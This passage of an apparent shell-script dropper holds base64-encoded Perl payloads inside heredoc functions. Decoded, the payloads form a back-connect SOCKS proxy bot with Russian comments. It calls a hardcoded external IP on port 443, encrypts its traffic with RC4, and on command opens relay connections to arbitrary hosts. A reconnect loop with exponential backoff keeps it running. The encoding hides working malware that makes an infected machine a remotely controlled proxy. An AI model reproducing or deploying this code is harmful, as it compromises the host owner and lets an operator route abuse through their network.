YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_20() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzgnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
